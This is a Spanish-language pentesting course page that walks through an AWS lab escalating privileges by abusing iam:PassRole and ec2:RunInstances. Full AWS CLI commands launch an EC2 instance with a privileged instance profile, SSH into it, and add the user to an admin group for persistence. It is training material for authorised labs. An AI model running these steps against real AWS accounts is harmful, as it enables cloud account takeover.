# CreateEC2WithExistingIP

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con los permisos `iam:PassRole` y `ec2:RunInstances` puede crear una nueva instancia EC2 a la que tendrá acceso al sistema operativo y transferirle un rol de servicio/perfil de instancia EC2 existente.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="/files/mbkNQJEvcHKyT57iOu3X" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="/files/IJrfXgCSQaQXCVeNAIf2" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="/files/uLJLM3GqkQ453xBCfI0j" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

{% code overflow="wrap" %}

```
aws iam list-attached-user-policies --user-name privesc3-CreateEC2WithExistingInstanceProfile-user
```

{% endcode %}

<figure><img src="/files/zboK5UR4bPJ2KPsIUjcz" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc3-CreateEC2WithExistingInstanceProfile --version-id v1
```

{% endcode %}

<figure><img src="/files/DHvwkZa6qQaE3E9SowI1" alt=""><figcaption></figcaption></figure>

Para este laboratorio, debemos crear un rol con los siguientes parámetros establecidos:

<figure><img src="/files/gSHWvLVgWg8USPD0fOul" alt=""><figcaption></figcaption></figure>

Luego de la creación del rol, podemos revisar como quedo todo configurado:

<figure><img src="/files/02KyTMFVhTwjOTF9ZcMW" alt=""><figcaption></figcaption></figure>

> Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una instancia de EC2.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc3-CreateEC2WithExistingInstanceProfile-role --role-session-name privesc3
```

{% endcode %}

<figure><img src="/files/clmddpey6uDGt2NbQsHF" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc3-CreateEC2WithExistingInstanceProfile-user**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile privesc3
```

<figure><img src="/files/xIOJBf3tgzT1p0mhwh5g" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile privesc3
```

<figure><img src="/files/WiuPRCLuIxIiOcRiA32G" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc3-CreateEC2WithExistingInstanceProfile-user --profile privesc3
```

{% endcode %}

<figure><img src="/files/bwoxZIIaQ5hWG3ZYwrAA" alt=""><figcaption></figcaption></figure>

En este escenario, tenemos que crear una nueva instancia y especificarle un rol de instancia que contenga permisos privilegiados (Nosotros utilizaremos el rol llamado Rol-Spartan-Vulnerable-CPNA):

Para el próximo comando a ejecutar, es necesario explicar los valores de los siguientes parámetros:

* <mark style="color:orange;">image-id:</mark> Se trata de la imagen de máquina de AWS (AMI) que se utilizará. El image-id que se usa aquí es para una máquina virtual de Amazon Linux. AWS cambia regularmente sus AMI, así que asegúrese de usar un valor actual para el image-id.
* <mark style="color:orange;">instance-type:</mark> Se trata del tipo de instancia a crear. En este caso, seleccionaremos una instancia elegible de capa gratuita.
* iam-instance-profile: El nombre o nombre de recurso de Amazon (ARN) de un perfil de instancia de IAM con privilegios elevados.
* key-name: Hace referencia a un par de claves SSH almacenadas por su nombre.
* security-group-ids: El grupo de seguridad aplicado en este ejemplo es el proporcionado por defecto de AWS.

{% code overflow="wrap" %}

```
aws ec2 run-instances --image-id ami-0022f774911c1d690 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::037572360634:instance-profile/Rol-Spartan-Vulnerable-CPNA --key-name "Spartan-Vulnerable-CPNA" --security-group-ids sg-0a4c90b45f6200f2e --region us-east-1 --profile privesc3
```

{% endcode %}

<figure><img src="/files/jdaa2Qzfjd5l9EfPxp0W" alt=""><figcaption></figcaption></figure>

El resultado de este comando es muy largo y no se muestra aquí para ahorrar espacio. El resultado proporciona información sobre la instancia que se acaba de crear y, lo que es más importante, el ID de la instancia. La instancia recién creada estará en estado "pendiente" durante un par de minutos hasta que se complete el aprovisionamiento.

Nosotros podemos solicitar información sobre la instancia con el siguiente comando, reemplazando instance-id con la ID de instancia adecuada:

{% code overflow="wrap" %}

```
aws ec2 describe-instances --instance-id i-0dc0d8712f11c25ca --region us-east-1 --profile privesc3
```

{% endcode %}

<figure><img src="/files/jCIRo6AiXINKwRWBYcPe" alt=""><figcaption></figcaption></figure>

Ahora tendremos que acceder a la instancia recién creada por medio de SSH utilizando la IP publica entrega por el comando previo.

Es importante resaltar, que es necesario tener la llave privada que fue especificada con el parámetro key-name del comando de run-instances.

Esta llave privada, normalmente es un fichero con extensión .PEM o .PPK.

```
ssh ec2-user@35.175.174.111 -i Spartan-Vulnerable-CPNA.pem
```

<figure><img src="/files/wDDH6XawNLDy0okilJ7p" alt=""><figcaption></figcaption></figure>

En este punto, podemos afirmar que hemos comprometido con éxito un rol administrativo, ya que esta instancia tiene asociado el rol llamado Rol-Spartan-Vulnerable-CPNA:

<figure><img src="/files/1tmTP2FkOvluxQyvg3vp" alt=""><figcaption></figcaption></figure>

Los comandos previos son para validar nuestros permisos asociados.

Para finalizar, vamos a agregar nuestro usuario inicial a un grupo de administradores con el objetivo de realizar una persistencia dentro de IAM.

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc3-CreateEC2WithExistingInstanceProfile-user
```

{% endcode %}

<figure><img src="/files/vYmMnzzyEEVZO3CHZnFN" alt=""><figcaption></figcaption></figure>

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/vectores-de-escalacion-de-privilegios/createec2withexistingip.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
